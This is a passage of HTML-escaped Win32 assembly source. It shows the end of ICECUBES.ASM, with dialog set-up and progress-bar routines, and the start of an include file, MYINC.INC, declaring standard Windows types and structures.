&lt;/span&gt;call MoveWindow&lt;span style=""&gt;                       &lt;/span&gt;; move to center&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov initflag, 01h&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;&lt;span style=""&gt;    &lt;/span&gt;xor eax, eax&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;&lt;span style=""&gt;    &lt;/span&gt;ret&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;  &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;InitValues:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov initflag, 00h&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;call SendDlgItemMessageA, handle, 1004, CB_RESETCONTENT, 00h,00h&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;call SendDlgItemMessageA, handle, 1004, 143h, 00h, offset value11&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;call SendDlgItemMessageA, handle, 1004, 143h, 00h, offset value12&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;call SendDlgItemMessageA, handle, 1004, 143h, 00h, offset value13&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;call SendDlgItemMessageA, handle, 1004, 143h, 00h, offset value14&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;call SendDlgItemMessageA, handle, 1004, CB_SETCURSEL, 00h, 01h&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;call SendDlgItemMessageA, handle, 1003, WM_SETTEXT, 00h, offset currentvalue&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;call SendDlgItemMessageA, handle, 1005, WM_SETTEXT, 00h, offset value3&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;call SendDlgItemMessageA, handle, 1008, WM_SETTEXT, 00h, offset value4&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;call SendDlgItemMessageA, handle, 1000, 00F5h, 00h,00h&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;call SendDlgItemMessageA, handle, 1001, 00F5h, 00h,00h&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;call SendDlgItemMessageA, handle, 1006, 00F5h, 00h,00h&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;call SendDlgItemMessageA, handle, 1010, 00F5h, 00h,00h&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;call SendDlgItemMessageA, handle, 1013, 00F5h, 00h,00h&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;xor eax, eax&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;ret&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;Exit1:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push wparam&lt;span style=""&gt;       &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push handle&lt;span style=""&gt;      &lt;/span&gt;&lt;span style=""&gt; &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;call EndDialog&lt;span style=""&gt;      &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov eax, 01h&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;ret&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;MYDIALOG_1 endp&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;PROGRESS proc handle: dword&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;ClearProgressBar:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push 00h&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push 00h&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push PBM_SETPOS&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push 105&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push handle&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;&lt;span style=""&gt;    &lt;/span&gt;call SendDlgItemMessageA&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;xor eax, eax&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;xor ecx, ecx&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;LittleLoop:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;inc ecx&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;cmp ecx, 100000h&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;jne LittleLoop&lt;span style=""&gt; &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;ProgressLoop:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;inc eax&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push 00h&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push eax&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push PBM_SETPOS&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push 105&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push handle&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;call SendDlgItemMessageA&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;xor ecx, ecx&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;cmp eax, 99d&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;jne LittleLoop&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;ProgressDone:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov flag, 02h&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push threadid&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;call CloseHandle&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;ret&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;PROGRESS endp&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;============================================================================;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;end Start&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;end&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[ICECUBES.ASM]ÄÄÄ&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[MYINC.INC]ÄÄÄ&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;LPVOID&lt;span style=""&gt;                         &lt;/span&gt;typedef&lt;span style=""&gt; &lt;/span&gt;DWORD&lt;span style=""&gt;          &lt;/span&gt;;long ptr to buffer&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;BOOL&lt;span style=""&gt;                           &lt;/span&gt;typedef DWORD&lt;span style=""&gt;          &lt;/span&gt;;boolean variable&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;HANDLE&lt;span style=""&gt;                         &lt;/span&gt;typedef DWORD&lt;span style=""&gt;          &lt;/span&gt;;unspecified handle&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;LPSTR&lt;span style=""&gt;                          &lt;/span&gt;typedef DWORD&lt;span style=""&gt;          &lt;/span&gt;;long ptr to string&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;LPBYTE&lt;span style=""&gt;                         &lt;/span&gt;typedef DWORD&lt;span style=""&gt;          &lt;/span&gt;;long ptr to byte&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;ACHAR&lt;span style=""&gt;                          &lt;/span&gt;typedef&lt;span style=""&gt; &lt;/span&gt;BYTE&lt;span style=""&gt;           &lt;/span&gt;;ansi character&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;CHAR&lt;span style=""&gt;                           &lt;/span&gt;textequ&lt;span style=""&gt; &lt;/span&gt;&lt;achar&gt;&lt;span style=""&gt;        &lt;/span&gt;;ansi char type&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;CHAR_&lt;span style=""&gt;                          &lt;/span&gt;equ&lt;span style=""&gt;     &lt;/span&gt;1&lt;span style=""&gt;              &lt;/span&gt;;ansi char size&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;CREATE_DEFAULT_ERROR_MODE&lt;span style=""&gt;      &lt;/span&gt;equ&lt;span style=""&gt;     &lt;/span&gt;04000000h&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;SECURITY_ATTRIBUTES_&lt;span style=""&gt;   &lt;/span&gt;equ&lt;span style=""&gt;     &lt;/span&gt;&lt;span style=""&gt;  &lt;/span&gt;4+4+4&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;SECURITY_ATTRIBUTES&lt;span style=""&gt;    &lt;/span&gt;struct&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;sa_nLength&lt;span style=""&gt;             &lt;/span&gt;DWORD&lt;span style=""&gt;   &lt;/span&gt;&lt;span style=""&gt;  &lt;/span&gt;SECURITY_ATTRIBUTES_ ;structure size&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;sa_lpSecurityDescriptor&lt;span style=""&gt;        &lt;/span&gt;LPVOID&lt;span style=""&gt;  &lt;/span&gt;&lt;span style=""&gt;  &lt;/span&gt;0&lt;span style=""&gt;            &lt;/span&gt;;security descriptor&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;sa_bInheritHandle&lt;span style=""&gt;      &lt;/span&gt;BOOL&lt;span style=""&gt;    &lt;/span&gt;&lt;span style=""&gt;  &lt;/span&gt;0&lt;span style=""&gt;            &lt;/span&gt;;handle inheritance flag&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;SECURITY_ATTRIBUTES&lt;span style=""&gt;    &lt;/span&gt;ends&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;PROCESS_INFORMATION&lt;span style=""&gt;    &lt;/span&gt;struct&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;pi_hProcess&lt;span style=""&gt;            &lt;/span&gt;HANDLE&lt;span style=""&gt;  &lt;/span&gt;&lt;span style=""&gt;  &lt;/span&gt;0&lt;span style=""&gt;            &lt;/span&gt;;process handle&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;pi_hThread&lt;span style=""&gt;             &lt;/span&gt;HANDLE&lt;span style=""&gt;  &lt;/span&gt;&lt;span style=""&gt;  &lt;/span&gt;0&lt;span style=""&gt;            &lt;/span&gt;;thread handle&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;pi_dwProcessId&lt;span style=""&gt;         &lt;/span&gt;DWORD&lt;span style=""&gt;   &lt;/span&gt;&lt;span style=""&gt;  &lt;/span&gt;0&lt;span style=""&gt;            &lt;/span&gt;;process id&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;pi_dwThreadId&lt;span style=""&gt;          &lt;/span&gt;DWORD&lt;span style=""&gt;   &lt;/span&gt;&lt;span style=""&gt;  &lt;/span&gt;0&lt;span style=""&gt;            &lt;/span&gt;;thread id&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;PROCESS_INFORMATION&lt;span style=""&gt;    &lt;/span&gt;ends&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;PROCESS_INFORMATION_&lt;span style=""&gt;   &lt;/span&gt;equ&lt;span style=""&gt;     &lt;/span&gt;&lt;span style=""&gt;  &lt;/span&gt;4+4+4+4&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;STARTUPINFO&lt;span style=""&gt;            &lt;/span&gt;struct&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;si_cb&lt;span style=""&gt;                  &lt;/span&gt;DWORD&lt;span style=""&gt;   &lt;/span&gt;&lt;span style=""&gt;  &lt;/span&gt;0&lt;span style=""&gt;            &lt;/span&gt;;structure size&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;si_lpReserved&lt;span style=""&gt;          &lt;/span&gt;LPSTR&lt;span style=""&gt;   &lt;/span&gt;&lt;span style=""&gt;  &lt;/span&gt;0&lt;span style=""&gt;            &lt;/span&gt;;(reserved)&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;si_lpDesktop&lt;span style=""&gt;           &lt;/span&gt;LPSTR&lt;span style=""&gt;   &lt;/span&gt;&lt;span style=""&gt;  &lt;/span&gt;0&lt;span style=""&gt;            &lt;/span&gt;;desktop name&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;sl_lpTitle&lt;span style=""&gt;             &lt;/span&gt;LPSTR&lt;span style=""&gt;   &lt;/span&gt;&lt;span style=""&gt;  &lt;/span&gt;0&lt;span style=""&gt;            &lt;/span&gt;;console window title&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;si_dwX&lt;span style=""&gt;                 &lt;/span&gt;DWORD&lt;span style=""&gt;   &lt;/span&gt;&lt;span style=""&gt;  &lt;/span&gt;0&lt;span style=""&gt;            &lt;/span&gt;;window origin (column)&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;si_dwY&lt;span style=""&gt;                 &lt;/span&gt;DWORD&lt;span style=""&gt;   &lt;/span&gt;&lt;span style=""&gt;  &lt;/span&gt;0&lt;span style=""&gt;            &lt;/span&gt;;window origin (row)&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;si_dwXSize&lt;span style=""&gt;             &lt;/span&gt;DWORD&lt;span style=""&gt;   &lt;/span&gt;&lt;span style=""&gt;  &lt;/span&gt;0&lt;span style=""&gt;            &lt;/span&gt;;window width&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;si_dwYSize&lt;span style=""&gt;             &lt;/span&gt;DWORD&lt;span style=""&gt;   &lt;/span&gt;&lt;span style=""&gt;  &lt;/span&gt;0&lt;span style=""&gt;            &lt;/span&gt;;window height&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;si_dwXCountChars&lt;span style=""&gt;       &lt;/span&gt;DWORD&lt;span style=""&gt;   &lt;/span&gt;&lt;span style=""&gt;  &lt;/span&gt;0&lt;span style=""&gt;            &lt;/span&gt;;screen buffer width&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;si_dwYCountChars&lt;span style=""&gt;       &lt;/span&gt;DWORD&lt;span style=""&gt;   &lt;/span&gt;&lt;span style=""&gt;  &lt;/span&gt;0&lt;span style=""&gt;            &lt;/span&gt;;screen buffer height&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;si_dwFillAttribute&lt;span style=""&gt;     &lt;/span&gt;DWORD&lt;span style=""&gt;   &lt;/span&gt;&lt;span style=""&gt;  &lt;/span&gt;0&lt;span style=""&gt;            &lt;/span&gt;;console window initialization&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;si_dwFlags&lt;span style=""&gt;             &lt;/span&gt;DWORD&lt;span style=""&gt;   &lt;/span&gt;&lt;span style=""&gt;  &lt;/span&gt;0&lt;span style=""&gt;            &lt;/span&gt;;structure member flags&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;si_wShowWindow&lt;span style=""&gt;         &lt;/span&gt;WORD&lt;span style=""&gt;    &lt;/span&gt;&lt;span style=""&gt;  &lt;/span&gt;0&lt;span style=""&gt;            &lt;/span&gt;;ShowWindow() parameter&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;si_cbReserved2&lt;span style=""&gt;         &lt;/span&gt;WORD&lt;span style=""&gt;    &lt;/span&gt;&lt;span style=""&gt;  &lt;/span&gt;0&lt;span style=""&gt;            &lt;/span&gt;;(reserved)&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;si_lpReserved2&lt;span style=""&gt;         &lt;/span&gt;LPBYTE&lt;span style=""&gt;  &lt;/span&gt;&lt;span style=""&gt;  &lt;/span&gt;0&lt;span style=""&gt;            &lt;/span&gt;;(reserved)&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;si_hStdInput&lt;span style=""&gt;           &lt;/span&gt;HANDLE&lt;span style=""&gt;  &lt;/span&gt;&lt;span style=""&gt;  &lt;/span&gt;0&lt;span style=""&gt;            &lt;/span&gt;;standard input handle&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;si_hStdOutput&lt;span style=""&gt;          &lt;/span&gt;HANDLE&lt;span style=""&gt;  &lt;/span&gt;&lt;span style=""&gt;  &lt;/span&gt;0&lt;span style=""&gt;            &lt;/span&gt;;standard output handle&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;si_hStdError&lt;span style=""&gt;           &lt;/span&gt;HANDLE&lt;span style=""&gt;  &lt;/span&gt;&lt;span style=""&gt;  &lt;/span&gt;0&lt;span style=""&gt;            &lt;/span&gt;;standard error handle&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;STARTUPINFO&lt;span style=""&gt;            &lt;/span&gt;ends&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;STARTUPINFO_&lt;span style=""&gt;           &lt;/span&gt;equ&lt;span style=""&gt;     &lt;/span&gt;&lt;span style=""&gt;  &lt;/span&gt;4+4+4+4+4+4+4+4+4+4+4+4+2+2+4+4+4+4&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;SYSTEMTIME&lt;span style=""&gt;             &lt;/span&gt;struct&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;wYear&lt;span style=""&gt;          &lt;/span&gt;WORD&lt;span style=""&gt;    &lt;/span&gt;&lt;span style=""&gt;  &lt;/span&gt;0&lt;span style=""&gt;            &lt;/span&gt;;current year&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;wMonth&lt;span style=""&gt;         &lt;/span&gt;WORD&lt;span style=""&gt;    &lt;/span&gt;&lt;span style=""&gt;  &lt;/span&gt;0&lt;span style=""&gt;            &lt;/span&gt;;current month (1..12)&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;wDayOfWeek&lt;span style=""&gt;             &lt;/span&gt;WORD&lt;span style=""&gt;    &lt;/span&gt;&lt;span style=""&gt;  &lt;/span&gt;0&lt;span style=""&gt;            &lt;/span&gt;;day of week (0 = sunday)&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;wDay&lt;span style=""&gt;                   &lt;/span&gt;WORD&lt;span style=""&gt;    &lt;/span&gt;&lt;span style=""&gt;  &lt;/span&gt;0&lt;span style=""&gt;            &lt;/span&gt;;current day of the month&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;wHour&lt;span style=""&gt;          &lt;/span&gt;WORD&lt;span style=""&gt;    &lt;/span&gt;&lt;span style=""&gt;  &lt;/span&gt;0&lt;span style=""&gt;            &lt;/span&gt;;current hour&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;wMinute&lt;span style=""&gt;        &lt;/span&gt;WORD&lt;span style=""&gt;    &lt;/span&gt;&lt;span style=""&gt;  &lt;/span&gt;0&lt;span style=""&gt;            &lt;/span&gt;;current minute&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;wSecond&lt;span style=""&gt;        &lt;/span&gt;WORD&lt;span style=""&gt;    &lt;/span&gt;&lt;span style=""&gt;  &lt;/span&gt;0&lt;span style=""&gt;            &lt;/span&gt;;current second&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;wMilliseconds&lt;span style=""&gt;  &lt;/span&gt;WORD&lt;span style=""&gt;    &lt;/span&gt;&lt;span style=""&gt;  &lt;/span&gt;0&lt;span style=""&gt;            &lt;/span&gt;;current millisecond&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;SYSTEMTIME&lt;span style=""&gt;             &lt;/span&gt;ends&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;SYSTEMTIME_&lt;span style=""&gt;            &lt;/span&gt;equ&lt;span style=""&gt;     &lt;/span&gt;&lt;span style=""&gt;  &lt;/span&gt;2+2+2+2+2+2+2+2&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;WIN32_FIND_DATA_&lt;span style=""&gt;       &lt;/span&gt;equ&lt;span style=""&gt;     &lt;/span&gt;&lt;span style=""&gt;  &lt;/span&gt;4+8+8+8+4+4+4+4+(260*CHAR_)+(14*CHAR_)&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;WIN32_FIND_DATA&lt;span style=""&gt;        &lt;/span&gt;struct&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;fd_dwFileAttributes&lt;span style=""&gt;    &lt;/span&gt;DWORD&lt;span style=""&gt;   &lt;/span&gt;&lt;span style=""&gt;  &lt;/span&gt;0&lt;span style=""&gt;            &lt;/span&gt;;file attributes&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;fd_ftCreationTime&lt;span style=""&gt;      &lt;/span&gt;DWORD&lt;span style=""&gt;   &lt;/span&gt;&lt;span style=""&gt;  &lt;/span&gt;0, 0&lt;span style=""&gt;         &lt;/span&gt;;time of file creation&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;fd_ftLastAccessTime&lt;span style=""&gt;    &lt;/span&gt;DWORD&lt;span style=""&gt;   &lt;/span&gt;&lt;span style=""&gt;  &lt;/span&gt;0, 0&lt;span style=""&gt;         &lt;/span&gt;;time of last file access&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;fd_ftLastWriteTime&lt;span style=""&gt;     &lt;/span&gt;DWORD&lt;span style=""&gt;   &lt;/span&gt;&lt;span style=""&gt;  &lt;/span&gt;0, 0&lt;span style=""&gt;         &lt;/span&gt;;time of last write access&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;fd_nFileSizeHigh&lt;span style=""&gt;       &lt;/span&gt;DWORD&lt;span style=""&gt;   &lt;/span&gt;&lt;span style=""&gt;  &lt;/span&gt;0&lt;span style=""&gt;            &lt;/span&gt;;high-order word of file size&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;fd_nFileSizeLow&lt;span style=""&gt;        &lt;/span&gt;DWORD&lt;span style=""&gt;   &lt;/span&gt;&lt;span style=""&gt;  &lt;/span&gt;0&lt;span style=""&gt;            &lt;/span&gt;;low-order word of file size&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;fd_dwReserved0&lt;span style=""&gt;         &lt;/span&gt;DWORD&lt;span style=""&gt;   &lt;/span&gt;&lt;span style=""&gt;  &lt;/span&gt;0&lt;span style=""&gt;            